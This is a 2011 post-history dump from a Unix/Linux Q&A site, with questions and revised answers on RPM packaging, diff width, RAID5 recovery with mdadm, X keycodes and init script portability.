  <row Id="22127" PostHistoryTypeId="2" PostId="9297" RevisionGUID="1efad0b5-1bdc-4fb2-a22b-5093edb4b061" CreationDate="2011-03-15T17:29:26.680" UserId="2511" Text="In general, on a RPM-based distribution like Fedora, you can find the name of the package which provides a given command with `rpm -qf /path/to/command`. Like this:&#xD;&#xA;&#xD;&#xA;    $ rpm -qf $( which uptime )&#xD;&#xA;    procps-3.2.8-18.20110302git.fc16.x86_64&#xD;&#xA;&#xD;&#xA;You can then download the source RPM with `yumdownloader --source procps`. (yumdownloader comes from the `yum-utils` package, if you don't have that installed already.) Once you have the src.rpm, you can unpack it with either `rpm -i` or with `rpm2cpio`.&#xD;&#xA;&#xD;&#xA;Alternately, in many cases you can query the RPM package for the project URL, which may helpfully point you to the upstream source:&#xD;&#xA;&#xD;&#xA;    $ rpm -qi procps|grep ^URL&#xD;&#xA;    URL         : http://gitorious.org/procps&#xD;&#xA;&#xD;&#xA;And, yep, there's the code conveniently browsable online. If you follow through it, basically all it does is read `/proc/uptime` and print it prettily.&#xD;&#xA;" />
  <row Id="22128" PostHistoryTypeId="4" PostId="9296" RevisionGUID="6db04bfb-5da5-4ca9-8295-69fa46d4d8d3" CreationDate="2011-03-15T17:30:37.973" UserId="2511" Comment="edited title" Text="How can I specify OS-conditional build requirements in an RPM spec file?" />
  <row Id="22129" PostHistoryTypeId="25" PostId="9293" RevisionGUID="5400d348-78e6-4634-8935-0933abdb859e" CreationDate="2011-03-15T17:31:20.083" Comment="http://twitter.com/#!/StackUnix/status/47711489099968512" />
  <row Id="22130" PostHistoryTypeId="2" PostId="9298" RevisionGUID="7c690e26-65b1-4486-a0e1-df31c068133c" CreationDate="2011-03-15T17:56:43.947" UserId="5748" Text="Hi,&#xD;&#xA;I have that same problem and similar OS. Mem leaks is probably in gnome. I have huge mem leaks in Xorg mem space when I use applet to change monitor resolution. I dont know where is problem but if you will disable this applet than mem leaks will not appear any more. &#xD;&#xA;" />
  <row Id="22131" PostHistoryTypeId="2" PostId="9299" RevisionGUID="fe98fd8a-7d66-44da-bbea-ffae44555b36" CreationDate="2011-03-15T18:08:02.687" UserId="5325" Text="Some memory leaks in the X server are applications' faults; if they create server-side `Pixmap`s and don't clean up after themselves, they stick around forever.  (This is intended to be a feature, so e.g. GNOME could install a set of standard `Pixmap`s once and then use them from any program by passing around their `XID`s, as an optimization.)  [`xrestop`](http://www.freedesktop.org/wiki/Software/xrestop) can be used to track these down." />
  <row Id="22132" PostHistoryTypeId="2" PostId="9300" RevisionGUID="77faa106-25a8-446f-88fe-47655389683e" CreationDate="2011-03-15T18:08:55.823" UserId="3976" Text="To translate what you wrote directly into specfile macros:&#xD;&#xA;&#xD;&#xA;    %if 0%{?fedora} == 4&#xD;&#xA;    BuildPrereq &gt;= apr0.9&#xD;&#xA;    %endif &#xD;&#xA;    %if 0%{?fedora} == 10&#xD;&#xA;    BuildPrereq &gt;= apr2.0&#xD;&#xA;    %endif&#xD;&#xA;&#xD;&#xA;If you want to support versions of fedora between there, you can use &gt;= and &lt;= as well.  If you care about RHEL, there's a `%{rhel}` that evaluates as 4 for RHEL4 and 5 for RHEL5." />
  <row Id="22133" PostHistoryTypeId="2" PostId="9301" RevisionGUID="d7c13759-2206-41a0-961f-8dc98dc68d80" CreationDate="2011-03-15T18:17:13.907" UserId="2098" Text="Most applications are smart about using the full width of the terminal available to them. My shell does, screen, vim, etc. However, `diff` in side-by-side mode (`-y`), does not. This angers me. It uses 126 character width, which is not even half of my 270 block width terminal.&#xD;&#xA;&#xD;&#xA;Looking through the man page does not reveal anything particular about automatically adjusting the width, only manually specifying it via `-W`.&#xD;&#xA;&#xD;&#xA;Is there perhaps a &quot;hidden feature&quot; of `diff` to allow it to automatically expand to the full width of the terminal?&#xD;&#xA;Or;&#xD;&#xA;What is the easiest path to automatically inserting `-W &lt;terminalsize&gt;` into my diff command whenever I run it?&#xD;&#xA;&#xD;&#xA;I am under the assumption that automatically appending -W to everything couldn't hurt anything, because it will only ever mean &quot;use $x columns&quot;, which is always what I want, whether I'm in side-by-side mode, or otherwise." />
  <row Id="22134" PostHistoryTypeId="1" PostId="9301" RevisionGUID="d7c13759-2206-41a0-961f-8dc98dc68d80" CreationDate="2011-03-15T18:17:13.907" UserId="2098" Text="Make diff Use Full Terminal Width in Side-by-Side Mode" />
  <row Id="22135" PostHistoryTypeId="3" PostId="9301" RevisionGUID="d7c13759-2206-41a0-961f-8dc98dc68d80" CreationDate="2011-03-15T18:17:13.907" UserId="2098" Text="éterminalàédiffà" />
  <row Id="22136" PostHistoryTypeId="5" PostId="9300" RevisionGUID="57e5fbec-3a73-42d9-af4d-3253b373fe8e" CreationDate="2011-03-15T18:18:01.043" UserId="3976" Comment="added 180 characters in body" Text="To translate what you wrote directly into specfile macros:&#xD;&#xA;&#xD;&#xA;    %if 0%{?fedora} == 4&#xD;&#xA;    BuildPrereq &gt;= apr0.9&#xD;&#xA;    %endif &#xD;&#xA;    %if 0%{?fedora} == 10&#xD;&#xA;    BuildPrereq &gt;= apr2.0&#xD;&#xA;    %endif&#xD;&#xA;&#xD;&#xA;You could probably change the first `%endif` to an `%else` but I wanted to keep my rewrite as similar as possible in case there are other circumstances involved.&#xD;&#xA;&#xD;&#xA;If you want to support versions of fedora between fc4 and f10 or later, you can use &gt;= and &lt;= as well.  If you care about RHEL, there's a `%{rhel}` that evaluates as 4 for RHEL4 and 5 for RHEL5." />
  <row Id="22137" PostHistoryTypeId="2" PostId="9302" RevisionGUID="4006c45b-8420-41df-8f6e-6d5a83d04eb1" CreationDate="2011-03-15T18:27:12.157" UserId="2671" Text="OpenSuSe has an administration UI called Yast that allows to setup internet sharing very easily.&#xD;&#xA;&#xD;&#xA;http://en.opensuse.org/ICS&#xD;&#xA;&#xD;&#xA;Other distributions should have similar tools." />
  <row Id="22138" PostHistoryTypeId="2" PostId="9303" RevisionGUID="e39adbb1-9ae1-4202-b571-0db276a83560" CreationDate="2011-03-15T18:29:16.920" UserId="5325" Text="    $ alias diff='diff -W $(( $(tput cols) - 2 ))'&#xD;&#xA;&#xD;&#xA;ought to do it.  You'll want to add it to ~/.bashrc as well.&#xD;&#xA;&#xD;&#xA;The `- 2` is mainly paranoia, in case something (embedded double-width Unicode?) expands enough to make the line wrap; if you want, you can just use&#xD;&#xA;&#xD;&#xA;    $ alias diff='diff -W $(tput cols)'&#xD;&#xA;" />
  <row Id="22139" PostHistoryTypeId="5" PostId="9297" RevisionGUID="11c80cd0-049d-480e-8d52-90981c8ce722" CreationDate="2011-03-15T18:33:05.850" UserId="2511" Comment="&quot;yep&quot; sounded snarky. I don't mean it that way." Text="In general, on a RPM-based distribution like Fedora, you can find the name of the package which provides a given command with `rpm -qf /path/to/command`. Like this:&#xD;&#xA;&#xD;&#xA;    $ rpm -qf $( which uptime )&#xD;&#xA;    procps-3.2.8-18.20110302git.fc16.x86_64&#xD;&#xA;&#xD;&#xA;You can then download the source RPM with `yumdownloader --source procps`. (yumdownloader comes from the `yum-utils` package, if you don't have that installed already.) Once you have the src.rpm, you can unpack it with either `rpm -i` or with `rpm2cpio`.&#xD;&#xA;&#xD;&#xA;Alternately, in many cases you can query the RPM package for the project URL, which may helpfully point you to the upstream source:&#xD;&#xA;&#xD;&#xA;    $ rpm -qi procps|grep ^URL&#xD;&#xA;    URL         : http://gitorious.org/procps&#xD;&#xA;&#xD;&#xA;And, cool, there's the code conveniently browsable online. If you follow through it, basically all it does is read `/proc/uptime` and print it prettily.&#xD;&#xA;" />
  <row Id="22140" PostHistoryTypeId="2" PostId="9304" RevisionGUID="2c1c1454-da19-4534-99da-bc561e353608" CreationDate="2011-03-15T18:54:29.343" UserId="5666" Text="First check the disks, try running smart selftest&#xD;&#xA;&#xD;&#xA;    for i in a b c d; do&#xD;&#xA;        smartctl -s on -t long /dev/sd$i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It might take a few hours to finish, but check each drive's test status every few minutes, i.e.&#xD;&#xA;&#xD;&#xA;    smartctl -l selftest /dev/sda&#xD;&#xA;&#xD;&#xA;If the status of a disk reports not completed because of read errors, then this disk should be consider unsafe for md1 reassembly. After the selftest finish, you can start trying to reassembly your array. Optionally, if you want to be extra cautious, move the disks to another machine before continuing (just in case of bad ram/controller/etc).&#xD;&#xA;&#xD;&#xA;Recently, I had a case exactly like this one. One drive got failed, I re-added in the array but during rebuild 3 of 4 drives failed altogether. The contents of /proc/mdadm was the same as yours (maybe not in the same order)&#xD;&#xA;&#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;&#xD;&#xA;But I was lucky and reassembled the array with this &#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 --scan --force&#xD;&#xA;&#xD;&#xA;By looking at the --examine output you provided, I can tell the following scenario happened: sdd2 failed, you removed it and re-added it, So it became a spare drive trying to rebuild. But while rebuilding sda2 failed and then sdb2 failed. So the events counter is bigger in sdc2 and sdd2 which are the last active drives in the array (although sdd didn't have the chance to rebuild and so it is the most outdated of all). So you could also try this&#xD;&#xA;&#xD;&#xA;mdadm --assemble /dev/md1 /dev/sd[abc]2 --force&#xD;&#xA;&#xD;&#xA;To conclude, I think that if the above command fails, you should try to recreate the array like this:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean -l5 -n4 -c64 /dev/sd[abc]2 missing&#xD;&#xA;&#xD;&#xA;**The `missing` part is important, don't try to add fourth drive in the array, because then reconstruction will begin and you will lose your data**. Creating the array this way, will not change its contents and you'll have the chance to get a copy elsewhere.&#xD;&#xA;&#xD;&#xA;If that fails to bring the array up, try this solution (perl script) here [Recreating an array](https://raid.wiki.kernel.org/index.php/RAID_Recovery#Recreating_an_array)&#xD;&#xA;&#xD;&#xA;If you finally manage to bring the array up, the filesystem will be unclean and probably corrupted. There is some chance you lose some data, but also a chance that you will never notice it :-)" />
  <row Id="22141" PostHistoryTypeId="5" PostId="9304" RevisionGUID="6d1d4266-9e6d-4b4e-be97-33a5cbc760b0" CreationDate="2011-03-15T19:00:18.137" UserId="5666" Comment="added 4 characters in body" Text="First check the disks, try running smart selftest&#xD;&#xA;&#xD;&#xA;    for i in a b c d; do&#xD;&#xA;        smartctl -s on -t long /dev/sd$i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It might take a few hours to finish, but check each drive's test status every few minutes, i.e.&#xD;&#xA;&#xD;&#xA;    smartctl -l selftest /dev/sda&#xD;&#xA;&#xD;&#xA;If the status of a disk reports not completed because of read errors, then this disk should be consider unsafe for md1 reassembly. After the selftest finish, you can start trying to reassembly your array. Optionally, if you want to be extra cautious, move the disks to another machine before continuing (just in case of bad ram/controller/etc).&#xD;&#xA;&#xD;&#xA;Recently, I had a case exactly like this one. One drive got failed, I re-added in the array but during rebuild 3 of 4 drives failed altogether. The contents of /proc/mdadm was the same as yours (maybe not in the same order)&#xD;&#xA;&#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;&#xD;&#xA;But I was lucky and reassembled the array with this &#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 --scan --force&#xD;&#xA;&#xD;&#xA;By looking at the --examine output you provided, I can tell the following scenario happened: sdd2 failed, you removed it and re-added it, So it became a spare drive trying to rebuild. But while rebuilding sda2 failed and then sdb2 failed. So the events counter is bigger in sdc2 and sdd2 which are the last active drives in the array (although sdd didn't have the chance to rebuild and so it is the most outdated of all). So you could also try this&#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 /dev/sd[abc]2 --force&#xD;&#xA;&#xD;&#xA;To conclude, I think that if the above command fails, you should try to recreate the array like this:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean -l5 -n4 -c64 /dev/sd[abc]2 missing&#xD;&#xA;&#xD;&#xA;**The `missing` part is important, don't try to add fourth drive in the array, because then reconstruction will begin and you will lose your data**. Creating the array this way, will not change its contents and you'll have the chance to get a copy elsewhere.&#xD;&#xA;&#xD;&#xA;If that fails to bring the array up, try this solution (perl script) here [Recreating an array](https://raid.wiki.kernel.org/index.php/RAID_Recovery#Recreating_an_array)&#xD;&#xA;&#xD;&#xA;If you finally manage to bring the array up, the filesystem will be unclean and probably corrupted. There is some chance you lose some data, but also a chance that you will never notice it :-)" />
  <row Id="22142" PostHistoryTypeId="2" PostId="9305" RevisionGUID="90f13717-6154-4a0a-8841-bc61c1564dad" CreationDate="2011-03-15T19:23:22.470" UserId="885" Text="On my computer running Debian squeeze with the `radeon` driver, the XVideo extension doesn't work (the extension itself is there but the hardware is not supported). `xvinfo` shows&#xD;&#xA;&#xD;&#xA;    X-Video Extension version 2.2&#xD;&#xA;    screen #0&#xD;&#xA;     no adaptors present&#xD;&#xA;&#xD;&#xA;The adapter is a Gigabyte Radeon X1650, shown by `lspci` as&#xD;&#xA;&#xD;&#xA;    01:00.0 VGA compatible controller: ATI Technologies Inc RV535 [Radeon X1650 Series] (rev 9e)&#xD;&#xA;&#xD;&#xA;The kernel driver is loaded, as `lsmod | grep radeon` shows:&#xD;&#xA;&#xD;&#xA;    radeon                574044  1 &#xD;&#xA;    ttm                    40018  1 radeon&#xD;&#xA;    drm_kms_helper         20065  1 radeon&#xD;&#xA;    drm                   142391  3 radeon,ttm,drm_kms_helper&#xD;&#xA;    i2c_algo_bit            4225  1 radeon&#xD;&#xA;    i2c_core               15712  6 eeprom,radeon,drm_kms_helper,drm,i2c_algo_bit,i2c_i801&#xD;&#xA;&#xD;&#xA;XVideo worked under Debian lenny. After upgrading to squeeze (Linux kernel: `2.6.32-5-vserver-amd64`; `xserver-xorg-video-ati 6.13.1-2+squeeze1`) it doesn't. How do I get it back?&#xD;&#xA;&#xD;&#xA;[(link to the X server logs)](http://pastebin.com/sPchSp3g)" />
  <row Id="22143" PostHistoryTypeId="1" PostId="9305" RevisionGUID="90f13717-6154-4a0a-8841-bc61c1564dad" CreationDate="2011-03-15T19:23:22.470" UserId="885" Text="Xvideo extension not active with the radeon driver" />
  <row Id="22144" PostHistoryTypeId="3" PostId="9305" RevisionGUID="90f13717-6154-4a0a-8841-bc61c1564dad" CreationDate="2011-03-15T19:23:22.470" UserId="885" Text="élinuxàéxorgàédriversàéradeonàéxvideoà" />
  <row Id="22145" PostHistoryTypeId="2" PostId="9306" RevisionGUID="16dc8d8a-777f-49b6-adb1-85d431315fb5" CreationDate="2011-03-15T19:24:08.913" UserId="5752" Text="By building from source do you gain any benefits? Is the code better optimized to your hardware architecture? Is it optimized better in general?&#xD;&#xA;&#xD;&#xA;Why would someone choose to build from source rather than using a package management system like aptitude/rpm?" />
  <row Id="22146" PostHistoryTypeId="1" PostId="9306" RevisionGUID="16dc8d8a-777f-49b6-adb1-85d431315fb5" CreationDate="2011-03-15T19:24:08.913" UserId="5752" Text="What are the advantages to building tools/libs from source?" />
  <row Id="22147" PostHistoryTypeId="3" PostId="9306" RevisionGUID="16dc8d8a-777f-49b6-adb1-85d431315fb5" CreationDate="2011-03-15T19:24:08.913" UserId="5752" Text="épackageömanagementà" />
  <row Id="22149" PostHistoryTypeId="2" PostId="9307" RevisionGUID="be81ecb4-a0d8-4a9d-b7f4-30f8564361d0" CreationDate="2011-03-15T19:32:19.650" UserId="2180" Text="Building from source provides the following options which are not available when using a version from a binary package manager:&#xD;&#xA;&#xD;&#xA;  - use processor-specific optimizations&#xD;&#xA;  - very latest version&#xD;&#xA;  - fix bugs, development work&#xD;&#xA;  - set compile-time options (e.g. include X features in vim)&#xD;&#xA;" />
  <row Id="22150" PostHistoryTypeId="2" PostId="9308" RevisionGUID="46591dfe-07fe-4e6d-8c5f-8f042c8831e3" CreationDate="2011-03-15T19:35:08.777" UserId="732" Text="I've done this exact thing very recently.&#xD;&#xA;&#xD;&#xA;I compiled openssl-1.0.something from source on a Slackware 11.0 linux system. I wanted to patch the login-by-password thing to pause for 7 seconds on a failed login, so as to tarpit those annoying Chinese ssh password guessers.&#xD;&#xA;&#xD;&#xA;I compiled Apache httpd 2.2.17 on the same Slackware 11.0 system because it came with Apache 2.0.something, and I wanted to use a 2.2.x httpd.conf from another system.&#xD;&#xA;&#xD;&#xA;Come to think of it, I also compiled Alpine 2.0 (email client, pine follow-on) for the same system.  Why Slackware 11.0?  It's running on a circa 2003 machine with Intel &quot;Brookdale&quot; graphics, and any later Slackware just doesn't support the poorly-documented Intel graphics.&#xD;&#xA;&#xD;&#xA;On a different machine, I pulled the TI ACX111 wireless chip support from github and compiled a new driver, allowing me to use a $9 wireless card.&#xD;&#xA;&#xD;&#xA;I also habitually recompile Linux kernels to make them specific to the machine they run on.&#xD;&#xA;&#xD;&#xA;So in my case it's various reasons of customization, hardware support, and &quot;just because&quot;.&#xD;&#xA;&#xD;&#xA;Given what we know of epidemiology in a uniform population (http://www.usenix.org/publications/login/2005-12/openpdfs/geer.pdf) why doesn't everyone compile from source on their own systems, with whatever compile-time options they choose? That would make for a vastly more virus- and worm-resistant population." />
  <row Id="22151" PostHistoryTypeId="5" PostId="9306" RevisionGUID="a672f719-9c87-4041-8432-3c20958093e7" CreationDate="2011-03-15T19:36:18.730" UserId="5752" Comment="added 111 characters in body" Text="By building from source do you gain any benefits? Is the code better optimized to your hardware architecture? Is it optimized better in general?&#xD;&#xA;&#xD;&#xA;Why would someone choose to build from source rather than using a package management system like aptitude/rpm? If there is some kind of optimization gain when/does that outweigh the benefit of a package management system?" />
  <row Id="22152" PostHistoryTypeId="5" PostId="9304" RevisionGUID="42c971f2-e094-49ba-80cd-e4a2bda8d729" CreationDate="2011-03-15T19:43:07.913" UserId="5666" Comment="edited body" Text="First check the disks, try running smart selftest&#xD;&#xA;&#xD;&#xA;    for i in a b c d; do&#xD;&#xA;        smartctl -s on -t long /dev/sd$i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It might take a few hours to finish, but check each drive's test status every few minutes, i.e.&#xD;&#xA;&#xD;&#xA;    smartctl -l selftest /dev/sda&#xD;&#xA;&#xD;&#xA;If the status of a disk reports not completed because of read errors, then this disk should be consider unsafe for md1 reassembly. After the selftest finish, you can start trying to reassembly your array. Optionally, if you want to be extra cautious, move the disks to another machine before continuing (just in case of bad ram/controller/etc).&#xD;&#xA;&#xD;&#xA;Recently, I had a case exactly like this one. One drive got failed, I re-added in the array but during rebuild 3 of 4 drives failed altogether. The contents of /proc/mdadm was the same as yours (maybe not in the same order)&#xD;&#xA;&#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;&#xD;&#xA;But I was lucky and reassembled the array with this &#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 --scan --force&#xD;&#xA;&#xD;&#xA;By looking at the --examine output you provided, I can tell the following scenario happened: sdd2 failed, you removed it and re-added it, So it became a spare drive trying to rebuild. But while rebuilding sda2 failed and then sdb2 failed. So the events counter is bigger in sdc2 and sdd2 which are the last active drives in the array (although sdd didn't have the chance to rebuild and so it is the most outdated of all). So you could also try this&#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 /dev/sd[abc]2 --force&#xD;&#xA;&#xD;&#xA;To conclude, I think that if the above command fails, you should try to recreate the array like this:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean -l5 -n4 -c64 /dev/sd[abc]2 missing&#xD;&#xA;&#xD;&#xA;**The `missing` part is important, don't try to add a fourth drive in the array, because then construction will begin and you will lose your data**. Creating the array this way, will not change its contents and you'll have the chance to get a copy elsewhere.&#xD;&#xA;&#xD;&#xA;If that fails to bring the array up, try this solution (perl script) here [Recreating an array](https://raid.wiki.kernel.org/index.php/RAID_Recovery#Recreating_an_array)&#xD;&#xA;&#xD;&#xA;If you finally manage to bring the array up, the filesystem will be unclean and probably corrupted. There is some chance you lose some data, but also a chance that you will never notice it :-)" />
  <row Id="22153" PostHistoryTypeId="5" PostId="9304" RevisionGUID="6eee50a5-db11-419b-92b6-c13a86e806db" CreationDate="2011-03-15T19:50:27.080" UserId="5666" Comment="added 60 characters in body" Text="First check the disks, try running smart selftest&#xD;&#xA;&#xD;&#xA;    for i in a b c d; do&#xD;&#xA;        smartctl -s on -t long /dev/sd$i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It might take a few hours to finish, but check each drive's test status every few minutes, i.e.&#xD;&#xA;&#xD;&#xA;    smartctl -l selftest /dev/sda&#xD;&#xA;&#xD;&#xA;If the status of a disk reports not completed because of read errors, then this disk should be consider unsafe for md1 reassembly. After the selftest finish, you can start trying to reassembly your array. Optionally, if you want to be extra cautious, move the disks to another machine before continuing (just in case of bad ram/controller/etc).&#xD;&#xA;&#xD;&#xA;Recently, I had a case exactly like this one. One drive got failed, I re-added in the array but during rebuild 3 of 4 drives failed altogether. The contents of /proc/mdadm was the same as yours (maybe not in the same order)&#xD;&#xA;&#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;&#xD;&#xA;But I was lucky and reassembled the array with this &#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 --scan --force&#xD;&#xA;&#xD;&#xA;By looking at the --examine output you provided, I can tell the following scenario happened: sdd2 failed, you removed it and re-added it, So it became a spare drive trying to rebuild. But while rebuilding sda2 failed and then sdb2 failed. So the events counter is bigger in sdc2 and sdd2 which are the last active drives in the array (although sdd didn't have the chance to rebuild and so it is the most outdated of all). So you could also try this&#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 /dev/sd[abc]2 --force&#xD;&#xA;&#xD;&#xA;To conclude, I think that if the above command fails, you should try to recreate the array like this:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean -l5 -n4 -c64 /dev/sd[abc]2 missing&#xD;&#xA;&#xD;&#xA;**The `missing` part is important, don't try to add a fourth drive in the array, because then construction will begin and you will lose your data**. Creating the array with a missing drive, will not change its contents and you'll have the chance to get a copy **elsewhere** (raid5 doesn't work the same way as raid1). &#xD;&#xA;&#xD;&#xA;If that fails to bring the array up, try this solution (perl script) here [Recreating an array](https://raid.wiki.kernel.org/index.php/RAID_Recovery#Recreating_an_array)&#xD;&#xA;&#xD;&#xA;If you finally manage to bring the array up, the filesystem will be unclean and probably corrupted. There is some chance you lose some data, but also a chance that you will never notice it :-)" />
  <row Id="22155" PostHistoryTypeId="2" PostId="9310" RevisionGUID="a3459bf6-2b73-4708-a672-2535974b498f" CreationDate="2011-03-15T19:54:15.033" UserId="885" Text="At some point around late 2008 to early 2009, some keycode values (apparently, for the keys that weren't on an XT keyboard) on a standard PC keyboard when running X.org under Linux changed. I don't know whether this was due to a kernel change or an X change. Debian lenny and Ubuntu 8.04 used the old assignment; Debian squeeze and Ubuntu 10.04 used the new assignment.&#xD;&#xA;&#xD;&#xA;So I have two `xmodmaprc` files, one with the old keycodes and one with the new keycodes. How do I determine which one to load from my `.xinitrc` and `.xsession`?&#xD;&#xA;&#xD;&#xA;I want my startup files to be portable with no hassle, so I want to get rid of my present dependency on the machine name (!). And I don't want to introduce a dependency on Linux distribution versions (and anyway that would be information about the client, but it's information about the server that I need). I already have information about the server at this point in my script (all the symbols listed in [`xrdb(1)`](http://www.x.org/archive/X11R6.8.1/doc/xrdb.1.html) are available as environment variables); hopefully my question reduces to “What parameters to I compare to what values?”.&#xD;&#xA;" />
  <row Id="22156" PostHistoryTypeId="1" PostId="9310" RevisionGUID="a3459bf6-2b73-4708-a672-2535974b498f" CreationDate="2011-03-15T19:54:15.033" UserId="885" Text="Determining keycode assignments for X.org on a PC" />
  <row Id="22157" PostHistoryTypeId="3" PostId="9310" RevisionGUID="a3459bf6-2b73-4708-a672-2535974b498f" CreationDate="2011-03-15T19:54:15.033" UserId="885" Text="élinuxàéxorgàékeyboardàéxmodmapà" />
  <row Id="22158" PostHistoryTypeId="2" PostId="9311" RevisionGUID="322ea6c2-2f11-4588-ba32-0a773cc0c810" CreationDate="2011-03-15T19:55:34.343" UserId="2381" Text="I had this, it was an `stty` in .kshrc. Remember that .kshrc is sourced on all ksh scripts, interactive and non interactive.  If you run a script, stty will still fire, try to work on stdin, which is a file (not a tty now) and fail with an error." />
  <row Id="22160" PostHistoryTypeId="2" PostId="9313" RevisionGUID="36b6c4a5-57a1-4829-b3e0-c5388fcf98bb" CreationDate="2011-03-15T19:56:54.703" UserId="5753" Text="Would never have occurred to me to script up this behaviour because I enter the following on a near daily basis.&#xD;&#xA;&#xD;&#xA;    $ mkdir someDirectory&lt;ENTER&gt;&#xD;&#xA;    $ cd !$&#xD;&#xA;&#xD;&#xA;where the **!$** is substituted with the last word of the last line.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22161" PostHistoryTypeId="5" PostId="9313" RevisionGUID="a15f8add-9627-4e2a-83bf-1be536130ed5" CreationDate="2011-03-15T20:04:47.783" UserId="5753" Comment="Added philosophy." Text="Would never have occurred to me to script up this behaviour because I enter the following on a near daily basis ...&#xD;&#xA;&#xD;&#xA;    $ mkdir someDirectory&lt;ENTER&gt;&#xD;&#xA;    $ cd !$&#xD;&#xA;&#xD;&#xA;where bash kindly substitutes **!$** with the last word of the last line; i.e. the long directory name that you entered.&#xD;&#xA;&#xD;&#xA;In addition, filename completion is your friend in such situations. If your new directory was the only file in the folder a quick double TAB would give you the new directory without re-entering it.&#xD;&#xA;&#xD;&#xA;Although it's cool that bash allows you to script up such common tasks as the other answers suggest I think it is better to learn the command line editing features that bash has to offer so that when you are working on another machine you are not missing the syntactic sugar that your custom scripts provide.&#xD;&#xA;" />
  <row Id="22162" PostHistoryTypeId="2" PostId="9314" RevisionGUID="bab169d8-1767-48ec-9978-e176f9bf8a44" CreationDate="2011-03-15T20:05:41.947" UserId="5754" Text="Hi,&#xD;&#xA;&#xD;&#xA;I created a startup script to start/restart/stop a group of application. I used the lib /etc/init.d/functions in my script.&#xD;&#xA;&#xD;&#xA;It is working well on my system. But it not working for my client. &#xD;&#xA;He is getting error: No such file or directory /etc/init.d/functions&#xD;&#xA;&#xD;&#xA;Right now I dont know which linux distro does my client uses.&#xD;&#xA;&#xD;&#xA;Can i get help in this case? is the inti.d/functions file different for differen linux distros? if yes, how can i find it?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="22163" PostHistoryTypeId="1" PostId="9314" RevisionGUID="bab169d8-1767-48ec-9978-e176f9bf8a44" CreationDate="2011-03-15T20:05:41.947" UserId="5754" Text="No such file or directory /etc/init.d/functions" />
  <row Id="22164" PostHistoryTypeId="3" PostId="9314" RevisionGUID="bab169d8-1767-48ec-9978-e176f9bf8a44" CreationDate="2011-03-15T20:05:41.947" UserId="5754" Text="éinitöscriptà" />
  <row Id="22165" PostHistoryTypeId="5" PostId="9314" RevisionGUID="54124515-ad02-442e-aacf-eb2544ac1a8a" CreationDate="2011-03-15T20:15:48.553" UserId="73" Comment="deleted 51 characters in body" Text="I created a startup script to start/restart/stop a group of applications. I used the lib `/etc/init.d/functions` in my script. It is working well on my system, but it not working for my client; he is getting the error:&#xD;&#xA;&#xD;&#xA;&gt; No such file or directory /etc/init.d/functions&#xD;&#xA;&#xD;&#xA;Right now I don't know which linux distro my client uses. Is the `init.d/functions` file different for different Linux distros? If so, how can I find it?&#xD;&#xA;" />
  <row Id="22166" PostHistoryTypeId="2" PostId="9315" RevisionGUID="8c742bd7-49c7-4f60-8677-59683fd7880b" CreationDate="2011-03-15T20:18:24.177" UserId="5325" Text="It's specific to whatever distribution you're running.  Debian and Ubuntu have `/lib/lsb/init-functions`; SuSE has `/etc/rc.status`; **none of them are compatible with the others.**  In fact, some distributions don't use `/etc/init.d` at all, or use it in an incompatible way (Slackware and Arch occur to me off the top of my head; there are others)." />
  <row Id="22167" PostHistoryTypeId="2" PostId="9316" RevisionGUID="1078ac2d-c0bb-4a09-b1c2-a0cc0a7b238c" CreationDate="2011-03-15T20:22:47.213" UserId="5325" Text="You should always map by keysym when you can.  `xmodmap` holds keysym definitions &quot;in place&quot; to make this work even while you're changing them; see its [manual page](http://www.xfree86.org/4.2.0/xmodmap.1.html) for details.&#xD;&#xA;&#xD;&#xA;To find out what keysym/keycode mappings exist, use `xmodmap -pke`, find the keyboard definition under `/usr/X11R6/lib/X11/xkb` (which may be `/usr/share/X11/xkb` in more recent distributions), or use `xev` to look at individual keys." />
  <row Id="22168" PostHistoryTypeId="2" PostId="9317" RevisionGUID="2a923d36-4dcc-436d-91f2-7ed659678452" CreationDate="2011-03-15T20:24:01.347" UserId="2511" Text="That is absolutely distribution dependent. You're really going to need to find out the distro in order to write a properly-matching init script.&#xD;&#xA;&#xD;&#xA;You can also follow the LSB (Linux Standard Base) specification and hope that the distro in question did too. The current specification dictates that the standard init script functions be available as `/lib/lsb/init-functions` ([see docs here][1]). On Fedora and other Red Hat related distros, that's provided by the `redhat-lsb` package, which is _optional_.&#xD;&#xA;&#xD;&#xA;So, you really have to figure out what you're targeting. Sorry.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://refspecs.freestandards.org/LSB_4.1.0/LSB-Core-generic/LSB-Core-generic/iniscrptfunc.html" />
  <row Id="22169" PostHistoryTypeId="25" PostId="9306" RevisionGUID="41762330-d04a-47fa-b381-1d5878e11860" CreationDate="2011-03-15T20:31:19.587" Comment="http://twitter.com/#!/StackUnix/status/47756785196601344" />
